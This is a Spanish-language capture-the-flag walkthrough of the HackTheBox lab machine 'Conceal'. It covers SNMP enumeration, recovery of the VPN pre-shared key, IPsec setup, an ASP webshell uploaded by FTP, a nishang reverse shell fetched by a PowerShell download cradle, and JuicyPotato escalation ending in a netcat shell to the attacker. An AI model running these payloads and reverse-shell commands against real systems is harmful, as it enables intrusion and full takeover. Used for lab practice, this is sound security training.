lund@home:~$

Autor: Lund K. S.

HTB_Conceal HTB_Conceal | Hacker-Blog

HTB_Conceal

Conceal {-}

Introduccion {-}

La maquina del dia 10/08/2021 se llama Conceal .

El replay del live se puede ver aqui

S4vitaar Conceal maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.116

ttl: 127 -> maquina Windows

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.116

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.116

Aqui vemos que no hay ningun puerto abiertos por TCP, controllamos si hay puertos abiertos por UDP

nmap -p- -sU --min-rate 10000 --open -n -Pn 10.10.10.116
nmap -sU -p500 -sC -sV 10.10.10.116 -oN udpScan

Aqui hemos encontrado el puerto 500 pero siempre vamos a intentar ver si el puerto 161 que NMAP no siempre lo reporta como abierto porque puede ser filtered. Utilizamos la heramienta onesixtyone para intentar ver si conseguimos ver la Community String del servicio.

onesixtyone 10.10.10.116

Aqui vemos que el servicio esta habilitado y que su Community string es la public

Puerto Servicio Que se nos occure? Que falta?
161 (UPD) snmp Enumeracion de informacion con la CS Public  
500 (UPD) IKE vpn tunneling Conneccion por VPN  

Enumeracion de informacion por puerto 161 con la CS public {-}

snmpwalk -c public -v2c 10.10.10.116

De seguida aqui vemos un hash para un VPN. Lo copiamos en nuestra maquina de attackante y vamos a tirar de RainbowTables (claves precomputadas) para desencryptar el hash. crackstation

Esto nos a permitido encrontrar el valor del hash.

Enumeracion del puerto 500 {-}

Como aqui hemos encontrado el valor del hash para la conneccion por VPN, vamos a enumerar el puerto 500. Para esto, buscamos por internet si existe un ike scan en github y lo encontramos. Intentando saver si viene de forma nativa en Parrot o Kali vemos que es el caso.

ike-scan 10.10.10.116

nos pone un mensaje de error y si le hacemos un strace ike-scan 10.10.10.116 vemos que el error viene de nuestra maquina. Si le hacemos un lsof -i:500 vemos que effectivamente nuestra maquina de atacante ya esta usando el puerto 500 que se llama charon. le hacemos un pkill charon y volmemos a hacerle un ike-scan 10.10.10.116 ya vemos cosas pero de forma turbia.

pkill charon
ike-scan -M 10.10.10.116 | tee output

Coceal-ike-sca Aqui ya vemos todas las informaciones necessarias para podernos crear unos ficheros de configuracion para connectarnos por VPN.

Creamos los ficheros de configuracion para la VPN {-}

Los dos ficheros que tenemos que tocar para configurar la VPN son:

  • el fichero /etc/ipsec.secrets para la authentificacion
  • el fichero /etc/ipsec.conf para la configuracion

Si buscamos por internet como se configura el fichero ipsec.secrets y encontramos algo el la web systutorials

```{r, echo = FALSE, fig.cap=”info ipsec.secrets”, out.width=”90%”} knitr::include_graphics(“images/Conceal-ipsec-secrets-web.png”)

Coceal-isec-secrets-web

%any : PSK "Dudecake1!"

y en el fichero de configuracion /etc/ipsec.conf

conn conceal
        ike=3des-sha1-modp1024
        esp=3des-sha1
        type=transport
        auto=add # ondemand start
        authby=secret
        keyexchange=ikev1
        left=10.10.14.8
        right=10.10.10.116

Ahora intentamos connectarnos

ipsec restart
ipsec up conceal

Nos da un error. Intentamos forzar la conneccion por tcp.

conn conceal
        ike=3des-sha1-modp1024
        esp=3des-sha1
        type=transport
        auto=add # ondemand start
        authby=secret
        keyexchange=ikev1
        left=10.10.14.8
        right=10.10.10.116
        rightsubnet=10.10.10.116[tcp]
ipsec restart
ipsec up conceal

#Output
connection 'conceal' established successfully

Enumeracion con nmap por sondeo TCP connect {-}

Como ya estamos connectados, vamos a poder rescannear la maquina con nmap. El problema es que como estamos por VPN. el paramettro -sS no va a funccionar. Tenemos que pasar por un sondeo TCP connect

nmap -sT --min-rate 5000 --open -vvv -n -Pn -p- 10.10.10.116 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,80,135,139,445,49664,49666,49667,49668,49669 10.10.10.116 -oN targeted.
Puerto Servicio Que se nos occure? Que falta?
21 ftp Conneccion anonyma  
80 http Web, fuzzing  
135 msrpc    
139 netbios    
445 smb Null session  
49664 msrpc Puertos por defecto de windows  
49665 msrpc Puertos por defecto de windows  
49666 msrpc Puertos por defecto de windows  
49667 msrpc Puertos por defecto de windows  
49668 msrpc Puertos por defecto de windows  
49669 msrpc Puertos por defecto de windows  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.116

Nada muy interressante aqui

Checkear la web {-}

Sabemos que es un IIS 10.0 pero poco mas. Vamos a fuzzear routas.

Fuzzing con WFuzz {-}

Fuzzeamos el puerto 80

wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.116/FUZZ

Encontramos un routa /upload

Si miramos con firefox vemos que tenemos capacidad de directory listing pero no hay nada. Intentamos subir cosas por ftp a ver si se nos lista aqui.

Conneccion anonyma por FTP {-}

ftp 10.10.10.116
Name: anonymous
dir
ls -la

En otro terminal creamos un fichero de prueba echo "EEEEE" > prueba.txt y lo subimos por ftp.

put prueba.txt

Si miramos en la web en la direccion /upload podemos ver el fichero prueba.txt.

Vulnerability Assessment {-}

Conneccion anonyma por FTP {-}

ftp 10.10.10.116
Name: anonymous
dir
ls -la

En otro terminal creamos un fichero de prueba echo "EEEEE" > prueba.txt y lo subimos por ftp.

put prueba.txt

Si miramos en la web en la direccion /upload podemos ver el fichero prueba.txt.

Remote Code execution con fichero asp {-}

Buscamos una reverse shell con la pagina web hackingdream y vemos el oneliner para la webshell asp.

vi s4vishell.asp

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

lo subimos con ftp

put s4vishell.asp

y si miramos por la web http://10.10.10.116/upload/s4vishell.asp?cmd=whoami y ya tenemos capacidad de remote code execution.

Vuln exploit & Gaining Access {-}

Conneccion con una shell typo powershell de nishang {-}

git clone https://github.com/samratashok/nishang
cd nishang
ls
cd Shells
ls
cp Invoke-PowerShellTcp.ps1 PS.ps1
vi PS.ps1

Como siempre le añadimos Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 443 al final del fichero.

Nos compartimos un servidor http con python

python -m http.server 80

Nos ponemos en escucha por el puerto 443

rlwrap nc -nlvp 443

Y por la webshell nos descargamos el fichero PS.ps1 http://10.10.10.116/upload/s4vishell.asp?cmd=powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/PS.ps1')

Ya podemos comprobar que estamos a dentro de la maquina y que podemos ver la flag.

Note: Si le hacemos un [Environment]::Is64BitOperatingSystem y un [Environment]::Is64BitProcess, podemos ver que el process nos da False. Aqui es recommendado siempre tirar de la powershell nativa que seria http://10.10.10.116/upload/s4vishell.asp?cmd=C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/PS.ps1')

Privilege Escalation {-}

Rootear la maquina {-}

whoami
systeminfo
whoami /priv

Aqui vemos que tenemos privilegios SeImpersonatePrivilege, tiramos como siempre de JuicyPotatoe.exe

Lo descargamos en la maquina de atacante y lo enviamos a la victima.

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
cp /usr/share/sqlninja/apps/nc.exe
python3 -m http.server 80

En la maquina victima lo descargamos

cd C:\Windows\Temp
mkdir privesc
cd privesc
iwr -uri http://10.10.14.8/JuicyPotato.exe -OutFile JuicyPotato.exe
iwr -uri http://10.10.14.8/nc.exe -OutFile nc.exe

Nos ponemos en escucha por el puerto 443

rlwrap nc -nlvp 443

Nos connectamos con el servicio nc con el JuicyPotato.

./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c .\nc.exe -e cmd 10.10.14.8 443"

Aqui nos sale une error 10038. Esto suele passar cuando el CLSID no es el correcto. Como savemos con el systeminfo que estamos en una maquina Windows10 Enterprise, podemos buscar el CLSID correcto en Interesting CLSID encontramos el CLSID que corresponde y con el parametro -c

./JuicyPotato.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c .\nc.exe -e cmd 10.10.14.8 443" -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

La reverse shell nos a functionnado y con whoami vemos que ya somos nt authority\system y podemos ver la flag.